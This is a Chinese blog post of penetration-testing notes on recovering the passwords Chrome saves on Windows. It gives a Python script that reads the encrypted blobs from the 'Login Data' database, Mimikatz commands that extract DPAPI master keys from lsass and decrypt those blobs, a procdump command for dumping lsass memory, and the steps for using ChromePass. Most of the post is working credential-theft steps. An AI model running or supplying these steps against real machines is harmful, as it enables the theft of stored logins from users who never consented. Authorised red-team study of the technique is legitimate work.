谷歌浏览器保存密码的读取

前言:谷歌浏览器保存密码的读取笔记

参考文章:https://www.t00ls.net/viewthread.php?tid=52330&highlight=chrome
参考文章:https://3gstudent.github.io/3gstudent.github.io/渗透技巧-利用Masterkey离线导出Chrome浏览器中保存的密码/

通过Mimikatz读取谷歌浏览器保存密码

1、查看是否存在密文,使用python读取数据库文件并提取出密文

dir /a %LocalAppData%\Google\Chrome\User Data\Default\Login Data

使用python脚本读取Login Data并保存到文件中,代码如下:

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

脚本执行后,提取Login Data中保存的密文,保存为test.txt

2、获得该密文对应的Master Key File

dpapi::blob /in:test.txt

获得对应guidMasterkey为{a111b0f6-b4d7-40c8-b536-672a8288b958}

即Master Key file的路径为%APPDATA%\Microsoft\Protect\%SID%\a111b0f6-b4d7-40c8-b536-672a8288b958

3、从lsass进程提取出Master Key

privilege::debug
sekurlsa::dpapi

提取出Master Key为666638cbaea3b7cf1dc55688f939e50ea1002cded954a1d17d5fe0fbc90b7dd34677ac148af1f32caf828fdf7234bafbe14b39791b3d7e587176576d39c3fa70

4、拿到Master Key,那么就可以直接对当前存储在text.txt中的密文进行解密了

dpapi::blob /in test.txt

如果这里不能直接用mimikatz在线读的话,那么可以通过转储procdump.exe -accepteula -ma lsass.exe lsass.dmp,然后再本地进行提取Master Key

需要注意的是:mimikatz从lsass进程提取出Master Key后,会自动将Master Key加入系统缓存

通过ChromePass读取谷歌浏览器保存密码

前提条件:已知电脑账号密码

解密过程:我们需要得到的两个文件:

1、Login Data数据库文件:目录位置%localappdata%\google\chrome\USERDA~1\default

2、%USERPROFILE%\AppData\Roaming\Microsoft把其中的Protect文件夹下载过来

新增的一个点

参考文章:https://xz.aliyun.com/t/9752

posted @ 2019-11-27 15:13  zpchcbd  阅读(3666)  评论(0编辑  收藏  举报